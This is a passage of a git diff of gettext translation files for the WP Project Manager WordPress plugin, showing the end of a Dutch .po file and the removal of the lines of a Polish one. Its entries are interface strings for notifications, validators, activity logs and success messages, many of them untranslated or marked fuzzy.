+msgid "New Message" +msgstr "Nieuw Bericht" + +#: views/emails/html/new-message.php:19 +msgid "Message Created By" +msgstr "" + +#: views/emails/html/new-message.php:28 +msgid "Title" +msgstr "" + +#: views/emails/html/new-message.php:49 +msgid "View Message" +msgstr "Bekijk Bericht" + +#: views/emails/html/new-project.php:16 +msgid "Project Created By" +msgstr "" + +#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 +#: views/emails/mention.php:37 +msgid "Hello" +msgstr "" + +#: views/emails/html/new-project.php:25 +msgid "You are assigned to a new project \"%s\" by %s." +msgstr "" + +#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 +msgid "You can see the project by going here:" +msgstr "" + +#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 +msgid "View Project" +msgstr "Bekijk Project" + +#: views/emails/html/new-task.php:12 +msgid "New task has been assigned to you" +msgstr "" + +#: views/emails/html/new-task.php:18 +msgid "Created By" +msgstr "" + +#: views/emails/html/update-project.php:15 +msgid "Project Updated By" +msgstr "" + +#: views/emails/html/update-project.php:24 +msgid "You are assigned to a project \"%s\" by %s." +msgstr "" + +#: views/emails/html/update-task.php:12 +msgid "Update task has been assigned to you" +msgstr "" + +#: views/emails/html/update-task.php:18 +#, fuzzy +#| msgid "Update List" +msgid "Updated By" +msgstr "Update Lijst" + +#: views/emails/mention.php:39 +msgid "You are mentioned in a comment by" +msgstr "" + +#: views/emails/mention.php:41 +msgid "Please click the link bellow to view the comment." +msgstr "" + +#. Plugin Name of the plugin/theme +msgid "WP Project Manager" +msgstr "" + +#. Plugin URI of the plugin/theme +msgid "https://wedevs.com/wp-project-manager-pro/" +msgstr "" + +#. Description of the plugin/theme +msgid "" +"WordPress Project Management plugin. Manage your projects and tasks, get " +"things done." +msgstr "" + +#. Author of the plugin/theme +msgid "weDevs" +msgstr "" + +#. Author URI of the plugin/theme +msgid "https://wedevs.com" +msgstr "" + +#~ msgid "Project created by %s" +#~ msgstr "Project gemaakt door %s" + +#~ msgid "Project details updated by %s" +#~ msgstr "Project details geupdate door %s" + +#~ msgid "Message \"%s\" deleted by %s" +#~ msgstr "Bericht \"%s\" verwijderd door %s" + +#~ msgid "%s deleted a comment" +#~ msgstr "%s verwijderd een reactie" + +#~ msgid "Add a comment..." +#~ msgstr "Voeg een reactie toe..." + +#~ msgid "Messages" +#~ msgstr "Berichten" + +#~ msgid "message post type" +#~ msgstr "Bericht plaatsings type" + +#~ msgid "Edit Message" +#~ msgstr "Bewerk Bericht" + +#~ msgid "Search Messages" +#~ msgstr "Zoek Berichten" + +#~ msgid "Parent Message" +#~ msgstr "Huidig Bericht" + +#~ msgid "Add New Milestone" +#~ msgstr "Voeg nieuwe mijlpaal toe" + +#~ msgid "New Milestone" +#~ msgstr "Nieuwe Mijlpaal" + +#~ msgid "View Milestone" +#~ msgstr "Bekijk Mijlpaal" + +#~ msgid "Search Milestone" +#~ msgstr "Zoek Mijlpaal" + +#~ msgid "Parent Milestone" +#~ msgstr "Huidige Mijlpaal" + +#~ msgid "project manager post type" +#~ msgstr "project manager bericht type" + +#~ msgid "Add Project" +#~ msgstr "Voeg project toe" + +#~ msgid "Edit Project" +#~ msgstr "Bewerk Project" + +#~ msgid "Search Project" +#~ msgstr "Zoek Project" + +#~ msgid "Parent Project" +#~ msgstr "Huidige Project" + +#~ msgid "Add Task List" +#~ msgstr "Voeg takenlijst toe" + +#~ msgid "Add New Task List" +#~ msgstr "Voeg nieuwe takenlijst toe" + +#~ msgid "Edit Task List" +#~ msgstr "Bewerk Takenlijst" + +#~ msgid "View Task List" +#~ msgstr "Bekijk Takenlijst" + +#~ msgid "Search Task List" +#~ msgstr "Zoek Takenlijst" + +#~ msgid "Parent Task List" +#~ msgstr "Huidige Takenlijst" + +#~ msgid "Add New Task" +#~ msgstr "Voeg nieuwe taak toe" + +#~ msgid "Edit Task" +#~ msgstr "Bewerk Taak" + +#~ msgid "New Task" +#~ msgstr "Nieuwe Taak" + +#~ msgid "Search Task" +#~ msgstr "Zoek Taak" + +#~ msgid "Parent Task" +#~ msgstr "Huidige Taak" + +#~ msgid "Delete project" +#~ msgstr "Verwijder project" + +#~ msgid "Add this comment" +#~ msgstr "Voeg deze reactie toe" + +#~ msgid "late" +#~ msgstr "laat" + +#~ msgid "Attached to %s by %s" +#~ msgstr "Bijgevoegd aan %s door %s" + +#~ msgid "Error: Message not found" +#~ msgstr "Fout: Bericht niet gevonden" + +#~ msgid "Error: Project not found" +#~ msgstr "Fout: Project niet gevonden" + +#~ msgid "Error: Permission denied" +#~ msgstr "Fout: Toegang geweigerd" + +#~ msgid "Message %s created by %s" +#~ msgstr "Bericht %s geplaatst door %s" + +#~ msgid "Message %s updated by %s" +#~ msgstr "Bericht %s geupdate door %s" + +#~ msgid "To-do list %s created by %s" +#~ msgstr "Checklist %s gemaakt door %s" + +#~ msgid "To-do list %s updated by %s" +#~ msgstr "Takenlijst %s geupdate door %s" + +#~ msgid "To-do list \"%s\" deleted by %s" +#~ msgstr "Takenlijst \"%s\" verwijderd door %s" + +#~ msgid "To-do %s added on to-do list %s by %s" +#~ msgstr "Taak %s toegevoegd op takenlijst %s door %s" + +#~ msgid "To-do %s updated by %s" +#~ msgstr "Taak %s geupdate door %s" + +#~ msgid "To-do %s completed by %s" +#~ msgstr "Taak %s voltooid door %s" + +#~ msgid "Marked to-do as done" +#~ msgstr "Taak gemarkeerd als voltooid" + +#~ msgid "To-do %s marked un-done by %s" +#~ msgstr "Taak %s gemarkeerd als nog niet voltooid door %s" + +#~ msgid "Re-opened to-do" +#~ msgstr "Taak heropend" + +#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" +#~ msgstr "Taak \"%s\" verwijderd van takenlijst %s door %s" + +#~ msgid "Milestone \"%s\" added by %s " +#~ msgstr "Mijlpaal \"%s\" toegevoegd door %s " + +#~ msgid "Milestone \"%s\" updated by %s " +#~ msgstr "Mijlpaal \"%s\" geupdate door %s " + +#~ msgid "Milestone \"%s\" deleted by %s " +#~ msgstr "Mijlpaal \"%s\" verwijderd door %s " + +#~ msgid "Milestone \"%s\" marked as complete by %s " +#~ msgstr "Mijlpaal \"%s\" gemarkeerd als voltooid door %s " + +#~ msgid "Milestone \"%s\" marked as incomplete by %s " +#~ msgstr "Mijlpaal \"%s\" gemarkeerd als in-compleet door %s " + +#~ msgid "General" +#~ msgstr "Algemeen" + +#~ msgid "No Messages Found" +#~ msgstr "Geen berichten gevonden" + +#~ msgid "No Messages Found in Trash" +#~ msgstr "Geen berichten gevonden in de prullenbak" + +#~ msgid "No Milestone Found" +#~ msgstr "Geen Mijlpaal gevonden" + +#~ msgid "No Milestone Found in Trash" +#~ msgstr "Geen Mijlpaal gevonden in de prullenbak" + +#~ msgid "No Project Found in Trash" +#~ msgstr "Geen Project gevonden in de prullenbak" + +#~ msgid "No Task List Found" +#~ msgstr "Geen takenlijst gevonden" + +#~ msgid "No Task List Found in Trash" +#~ msgstr "Geen takenlijkst gevonden in de prullenbak" + +#~ msgid "No Task Found" +#~ msgstr "Geen taak gevonden" + +#~ msgid "No Task Found in Trash" +#~ msgstr "Geen taak gevonden in de prullenbak" + +#~ msgid "Select co-workers" +#~ msgstr "Selecteer klante(n)" + +#~ msgid "Are you sure to delete this to-do?" +#~ msgstr "Weet je zeker dat je deze taak wilt verwijderen?" + +#~ msgid "Add this to-do" +#~ msgstr "Voeg deze taak toe" + +#~ msgid "Add a new to-do" +#~ msgstr "Voeg een nieuwe taak toe" + +#~ msgid "-- milestone --" +#~ msgstr "-- mijlpaal --" + +#~ msgid "Are you sure to delete this to-do list?" +#~ msgstr "Weet je zeker dat je deze takenlijst wilt verwijderen?" + +#~ msgid "Update comment" +#~ msgstr "Update je reactie" + +#~ msgid "Edit milestone" +#~ msgstr "Bewerk mijlpaal" + +#~ msgid "Mark un-complete" +#~ msgstr "Markeer als niet voltooid" + +#~ msgid "To-do List" +#~ msgstr "Takenlijst" + +#~ msgid "Notify Co-workers" +#~ msgstr "Stuur bericht aan klanten" + +#~ msgid "thread" +#~ msgstr "berichtoverzicht" + +#~ msgid "Discuss this to-do list" +#~ msgstr "Discussieer over deze takenlijst" + +#~ msgid "file size in Megabyte. e.g: 2" +#~ msgstr "bestand grootte in Megabyte. bijv. 2" + +#~ msgid "New Project Subject" +#~ msgstr "Nieuw project onderwerp" + +#~ msgid "New Project Body" +#~ msgstr "Nieuw project inhoud" + +#~ msgid "New Message Subject" +#~ msgstr "Nieuw bericht onderwerp" + +#~ msgid "New Message Body" +#~ msgstr "Nieuw bericht inhoud" + +#~ msgid "New Comment Subject" +#~ msgstr "Nieuw reactie onderwerp" + +#~ msgid "New Assigned Task Subject" +#~ msgstr "Nieuw toegewezen Taak onderwerp" + +#~ msgid "-- assign to --" +#~ msgstr "-- wijs toe aan --" + +#~ msgid "" +#~ "To attach, select files " +#~ "from your computer." +#~ msgstr "" +#~ "Om bij te voegen, selecteer " +#~ "bestanden van je computer." + +#~ msgid "%d Comments" +#~ msgstr "%d Reacties" + +#~ msgid "(Completed by %s on %s)" +#~ msgstr "(Voltooid door %s op %s)" + +#~ msgid "Tasklist name" +#~ msgstr "Naam voor de takenlijst" + +#~ msgid "Add a to-do" +#~ msgstr "Voeg een taak toe" + +#~ msgid "Message details here" +#~ msgstr "Bericht details hier" + +#~ msgid "Details about milestone (optional)" +#~ msgstr "Enkele details over het project (optioneel)" + +#~ msgid "Reopen" +#~ msgstr "Heropen" + +#~ msgid "" +#~ "Download or go to the discussion." +#~ msgstr "" +#~ "Download of ga naar de discussie." + +#~ msgid "No Files Found!" +#~ msgstr "Geen bestanden gevonden!" + +#~ msgid "Add New" +#~ msgstr "Voeg nieuwe toe" + +#~ msgid "No messages found! How about adding one?" +#~ msgstr "Geen berichten gevonden! Misschien een idee om er een te plaatsen?" + +#~ msgid "← back" +#~ msgstr "← terug" + +#~ msgid "No Milestone Found!" +#~ msgstr "Geen Mijlpaal gevonden!" + +#~ msgid "Add new milestone" +#~ msgstr "Voeg nieuwe mijlpaal toe" + +#~ msgid "Project Info" +#~ msgstr "Project Informatie" + +#~ msgid "Oh dear, no To-do list found!" +#~ msgstr "Oh nee, geen Takenlijst gevonden!" + +#~ msgid "Discuss this to-do" +#~ msgstr "Discussieer over deze taak" diff --git a/languages/wedevs-project-manager-pl_PL.po b/languages/wedevs-project-manager-pl_PL.po index 7c4b771c0..d965ae48e 100644 --- a/languages/wedevs-project-manager-pl_PL.po +++ b/languages/wedevs-project-manager-pl_PL.po @@ -1,2321 +1,2321 @@ -msgid "" -msgstr "" -"Project-Id-Version: WP Project Manager v0.4.3\n" -"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" -"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" -"PO-Revision-Date: 2018-07-11 12:53+0600\n" -"Last-Translator: Jacek Synowiec \n" -"Language-Team: \n" -"Language: pl_PL\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Plural-Forms: nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 " -"|| n%100>=20) ? 1 : 2);\n" -"X-Generator: Poedit 2.0.8\n" -"X-Poedit-SourceCharset: UTF-8\n" -"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;" -"_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n" -"X-Poedit-Basepath: ..\n" -"X-Textdomain-Support: yes\n" -"X-Poedit-SearchPath-0: .\n" - -#: core/Notifications/Emails/Complete_Task_Notification.php:42 -msgid "[%s] %s Task mark as %s in %s" -msgstr "" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:53 -#: core/Notifications/Emails/Update_Comment_Notification.php:52 -#: views/emails/html/new-message.php:39 views/emails/mention.php:13 -msgid "Message" -msgstr "Wiadomość" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:58 -#: core/Notifications/Emails/Update_Comment_Notification.php:55 -#: views/emails/mention.php:20 -msgid "Task List" -msgstr "Lista zadań" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:63 -#: core/Notifications/Emails/Update_Comment_Notification.php:58 -#: views/assets/js/pm.js:18541 -#: views/assets/src/components/project-overview/directive.js:10 -#: views/emails/mention.php:25 -msgid "Task" -msgstr "Zadanie" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:68 -#, fuzzy -#| msgid "Files" -msgid "File" -msgstr "Pliki" - -#: core/Notifications/Emails/New_Comment_Notification.php:81 -msgid "[%s][%s] New Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/New_Message_Notification.php:47 -msgid "[%s][%s] New Message: %s" -msgstr "" - -#: core/Notifications/Emails/New_Project_Notification.php:24 -msgid "[%s] New Project Invitation: %s" -msgstr "" - -#: core/Notifications/Emails/New_Task_Notification.php:41 -msgid "[%s][%s] New Task Assigned: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Comment_Notification.php:49 -msgid "[%s][%s] Update Comment on: %s" -msgstr "" - -# @ cpm -#: core/Notifications/Emails/Update_Project_Notification.php:24 -#, fuzzy -#| msgid "Update Project" -msgid "[%s] Updated Project: %s" -msgstr "Aktualizacja projektu" - -#: core/Notifications/Emails/Update_Task_Notification.php:40 -msgid "[%s][%s] Update Task Assigned: %s" -msgstr "" - -#: core/Permissions/Access_Project.php:22 -#: core/Permissions/Create_Discuss.php:17 -#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 -#: core/Permissions/Create_Task_List.php:17 -#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 -#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 -#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 -#: core/Permissions/Project_Manage_Capability.php:28 -msgid "You have no permission." -msgstr "" - -#: core/Permissions/Complete_Task.php:36 -msgid "You have no permission to change task status." -msgstr "" - -#: core/Permissions/Create_File.php:16 -msgid "You have no permission to create message." -msgstr "" - -#: core/Permissions/Project_Craete_Capability.php:17 -msgid "You have no permission to create project." -msgstr "" - -#: core/Upgrades/Upgrade.php:136 -msgid "" -"WP Project Manager Data Update Required – Please " -"click the button below to update to the latest version." -msgstr "" - -#: core/Upgrades/Upgrade.php:139 -msgid "Run the Update" -msgstr "" - -# @ cpm -#: core/Upgrades/Upgrade.php:140 -#, fuzzy -#| msgid "Load More..." -msgid "Read More" -msgstr "Załaduj więcej ..." - -#: core/Upgrades/Upgrade.php:148 -msgid "" -"It is strongly recommended that you backup your database before proceeding. " -"Are you sure you wish to run the updater now?" -msgstr "" - -# @ default -#: core/WP/Enqueue_Scripts.php:65 -msgid "Allowed Files" -msgstr "Dozwolone pliki" - -#: core/WP/Frontend.php:140 -msgid "Every %d Minutes PM schedule" -msgstr "" - -#: core/WP/Frontend.php:167 -msgid "

WP Project Manager Pro required version 2.0 or above.

" -msgstr "" - -#: core/WP/Frontend.php:168 -msgid "

To migrate version 2.0, Please read mmigration docs

" -msgstr "" - -#: core/WP/Frontend.php:177 -msgid "Read Docs" -msgstr "" - -#: core/WP/Frontend.php:284 -msgid "Get Pro" -msgstr "" - -# @ cpm -#: core/WP/Frontend.php:287 core/WP/Menu.php:36 -msgid "Settings" -msgstr "Ustawienia" - -#: core/WP/Frontend.php:288 -msgid "Documentation" -msgstr "" - -# @ cpm -#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 -msgid "Project Manager" -msgstr "Menedżer projektów" - -# @ cpm -#: core/WP/Menu.php:18 -msgid "Projects" -msgstr "Projekty" - -#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 -msgid "Categories" -msgstr "" - -#: core/WP/Menu.php:22 -msgid "My Tasks" -msgstr "" - -#: core/WP/Menu.php:23 -msgid "Calendar" -msgstr "" - -#: core/WP/Menu.php:26 -msgid "Reports" -msgstr "" - -#: core/WP/Menu.php:27 -msgid "Progress" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:23 -msgid "Manager" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:25 -msgid "Manager is a person who manages the project." -msgstr "" - -#: db/seeds/RoleTableSeeder.php:33 -msgid "Co-Worker" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:35 -msgid "Co-worker is person who works under a project." -msgstr "" - -#: src/Category/Validators/Create_Category.php:10 -#: src/Category/Validators/Update_Category.php:10 -msgid "Category title is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:11 -msgid "Category id is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:12 -msgid "Category id must be greater than zero" -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:10 -#: src/Comment/Validators/Update_Comment.php:10 -msgid "Comment title is required." -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:11 -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 -#: src/Milestone/Validators/Create_Milestone.php:11 -#: src/Project/Validators/Update_Project.php:11 -#: src/Task/Validators/Create_Task.php:11 -#: src/Task_List/Validators/Create_Task_List.php:11 -msgid "Project id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:11 -msgid "Comment id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:12 -msgid "Comment id must be greater than zero" -msgstr "" - -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 -msgid "Discussion title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 -msgid "Discuss title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 -msgid "Discuss id is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 -msgid "Discuss id must be greater than zero" -msgstr "" - -#: src/File/Controllers/File_Controller.php:97 -msgid "file not found" -msgstr "" - -#: src/Milestone/Controllers/Milestone_Controller.php:58 -msgid "this is mishu" -msgstr "" - -#: src/Milestone/Validators/Create_Milestone.php:10 -#: src/Milestone/Validators/Update_Milestone.php:10 -msgid "Milestone title is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:11 -msgid "Milestone id is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:12 -msgid "Milestone id must be greater than zero" -msgstr "" - -#: src/Project/Validators/Create_Project.php:10 -#: src/Project/Validators/Update_Project.php:10 -msgid "Project title is required." -msgstr "" - -#: src/Project/Validators/Update_Project.php:12 -msgid "Project id must be greater than zero" -msgstr "" - -#: src/Role/Validators/Create_Role.php:10 -#: src/Role/Validators/Update_Role.php:10 -msgid "Role title is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:11 -msgid "Role id is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:12 -msgid "Role id must be greater than zero" -msgstr "" - -#: src/Task/Validators/Create_Task.php:10 -#: src/Task/Validators/Update_Task.php:10 -msgid "Task title is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:11 -msgid "Task id is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:12 -msgid "Task id must be greater than zero" -msgstr "" - -#: src/Task_List/Validators/Create_Task_List.php:10 -#: src/Task_List/Validators/Update_Task_List.php:10 -msgid "Task list title is required." -msgstr "" - -# @ cpm -#: src/Task_List/Validators/Update_Task_List.php:11 -#, fuzzy -#| msgid "Tasklist detail" -msgid "Task list id is required." -msgstr "Szczegóły listy zadań" - -#: src/Task_List/Validators/Update_Task_List.php:12 -msgid "Task list id must be greater than zero" -msgstr "" - -#: texts/activities.php:6 -msgid "%1$s has created a project titled as %2$s" -msgstr "" - -#: texts/activities.php:10 -msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:14 -msgid "%1$s has updated %2$s project description." -msgstr "" - -#: texts/activities.php:18 -msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:22 -msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:26 -msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:30 -msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:34 -msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:40 -msgid "%1$s has created a discussion board titled as %2$s." -msgstr "" - -#: texts/activities.php:44 -msgid "" -"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:48 -msgid "%1$s has updated the description of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:52 -msgid "%1$s has updated the order of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:58 -msgid "%1$s has created a task list titled as %2$s." -msgstr "" - -#: texts/activities.php:62 -msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:66 -msgid "%1$s has updated the description of a task list, %2$s." -msgstr "" - -#: texts/activities.php:70 -msgid "%1$s has updated the order of a task list, %2$s." -msgstr "" - -#: texts/activities.php:76 -msgid "%1$s has created a milestone, %2$s." -msgstr "" - -#: texts/activities.php:80 -msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:84 -msgid "%1$s has updated the description of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:88 -msgid "%1$s has updated the order of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:94 -msgid "%1$s has created a task, %2$s." -msgstr "" - -#: texts/activities.php:98 -msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:102 -msgid "%1$s has updated the description of a task, %2$s." -msgstr "" - -#: texts/activities.php:106 -msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:110 -msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:114 -msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:118 -msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:122 -msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:126 -msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:130 -msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:134 -msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -# @ cpm -#: texts/activities.php:140 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task, %2$s." -msgstr "%s skomentował %s" - -# @ cpm -#: texts/activities.php:144 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task, %2$s." -msgstr "%s zaktualizowany komentarz przez %s" - -# @ cpm -#: texts/activities.php:148 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task, %2$s" -msgstr "%s zaktualizowany komentarz przez %s" - -# @ cpm -#: texts/activities.php:152 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task, %2$s." -msgstr "%s zaktualizowany komentarz przez %s" - -# @ cpm -#: texts/activities.php:158 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task list, %2$s." -msgstr "%s skomentował %s" - -# @ cpm -#: texts/activities.php:162 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task list, %2$s." -msgstr "%s zaktualizowany komentarz przez %s" - -# @ cpm -#: texts/activities.php:166 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task list, %2$s" -msgstr "%s zaktualizowany komentarz przez %s" - -# @ cpm -#: texts/activities.php:170 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task list, %2$s." -msgstr "%s zaktualizowany komentarz przez %s" - -#: texts/activities.php:176 -msgid "%1$s has commented on a discussion board, %2$s." -msgstr "" - -# @ cpm -#: texts/activities.php:180 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a discussion board, %2$s." -msgstr "%s zaktualizowany komentarz przez %s" - -#: texts/activities.php:184 -msgid "%1$s has replied a comment on a discussion board, %2$s" -msgstr "" - -#: texts/activities.php:188 -msgid "%1$s has updated a reply comment on a discussion board, %2$s." -msgstr "" - -# @ cpm -#: texts/activities.php:194 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a milestone, %2$s." -msgstr "%s skomentował %s" - -# @ cpm -#: texts/activities.php:198 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a milestone, %2$s." -msgstr "%s zaktualizowany komentarz przez %s" - -# @ cpm -#: texts/activities.php:202 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a milestone, %2$s" -msgstr "%s zaktualizowany komentarz przez %s" - -# @ cpm -#: texts/activities.php:206 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a milestone, %2$s." -msgstr "%s zaktualizowany komentarz przez %s" - -# @ cpm -#: texts/activities.php:212 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on the project, %2$s." -msgstr "%s skomentował %s" - -# @ cpm -#: texts/activities.php:216 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on the project, %2$s." -msgstr "%s zaktualizowany komentarz przez %s" - -#: texts/activities.php:220 -msgid "%1$s has replied a comment on the project, %2$s" -msgstr "" - -# @ cpm -#: texts/activities.php:224 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on the project, %2$s." -msgstr "%s zaktualizowany komentarz przez %s" - -# @ cpm -#: texts/activities.php:230 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a file, %2$s." -msgstr "%s skomentował %s" - -# @ cpm -#: texts/activities.php:234 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a file, %2$s." -msgstr "%s zaktualizowany komentarz przez %s" - -# @ cpm -#: texts/activities.php:238 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a file, %2$s" -msgstr "%s zaktualizowany komentarz przez %s" - -# @ cpm -#: texts/activities.php:242 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a file, %2$s." -msgstr "%s zaktualizowany komentarz przez %s" - -#: texts/activities.php:246 -msgid "%1$s has duplicated project from , %2$s." -msgstr "" - -# @ cpm -#: texts/resource_types.php:5 -#, fuzzy -#| msgid "Project" -msgid "project" -msgstr "Projekt" - -#: texts/resource_types.php:8 -msgid "discussion board" -msgstr "" - -# @ cpm -#: texts/resource_types.php:11 -#, fuzzy -#| msgid "Task List" -msgid "task list" -msgstr "Lista zadań" - -#: texts/resource_types.php:14 -msgid "task" -msgstr "" - -# @ cpm -#: texts/resource_types.php:17 -#, fuzzy -#| msgid "Milestone" -msgid "milestone" -msgstr "Kamień milowy" - -# @ cpm -#: texts/resource_types.php:20 -#, fuzzy -#| msgid "%d comment" -#| msgid_plural "%d comments" -msgid "comment" -msgstr "%d komentarz" - -# @ cpm -#: texts/resource_types.php:23 -#, fuzzy -#| msgid "%d file" -#| msgid_plural "%d files" -msgid "file" -msgstr "%d plik" - -#: texts/success_messages.php:6 -msgid "A project has been created successfully." -msgstr "" - -#: texts/success_messages.php:9 -msgid "A project has been updated successfully." -msgstr "" - -#: texts/success_messages.php:12 -msgid "A project has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:16 -msgid "A category has been created successfully." -msgstr "" - -#: texts/success_messages.php:19 -msgid "A category has been updated successfully." -msgstr "" - -#: texts/success_messages.php:22 -msgid "A category has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:25 -msgid "All the selected categories has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:29 -msgid "Successfully commented." -msgstr "" - -#: texts/success_messages.php:32 -msgid "A comment has been updated successfully." -msgstr "" - -#: texts/success_messages.php:35 -msgid "A comment has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:39 -msgid "A new discussion has been created successfully." -msgstr "" - -#: texts/success_messages.php:42 -msgid "A discussion has been updated successfully." -msgstr "" - -#: texts/success_messages.php:45 -msgid "A discussion has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:49 -msgid "A new milestone has been created successfully." -msgstr "" - -#: texts/success_messages.php:52 -msgid "A milestone has been updated successfully." -msgstr "" - -#: texts/success_messages.php:55 -msgid "A milestone has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:59 -msgid "A new task list has been created successfully." -msgstr "" - -#: texts/success_messages.php:62 -msgid "Task list has been updated successfully." -msgstr "" - -#: texts/success_messages.php:65 -msgid "Task list has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:69 -msgid "A new task has been created successfully." -msgstr "" - -#: texts/success_messages.php:72 -msgid "A Task has been updated successfully." -msgstr "" - -#: texts/success_messages.php:75 -msgid "The task has been deleted successfully." -msgstr "" - -#: texts/success_messages.php:78 -msgid "Settings has been changed successfully." -msgstr "" - -# @ cpm -#: texts/success_messages.php:81 -#, fuzzy -#| msgid "No comments found" -msgid "No element found" -msgstr "Nie znaleziono komentarzy" - -# @ cpm -#: texts/success_messages.php:84 -#, fuzzy -#| msgid "No Project Found" -msgid "No Project found" 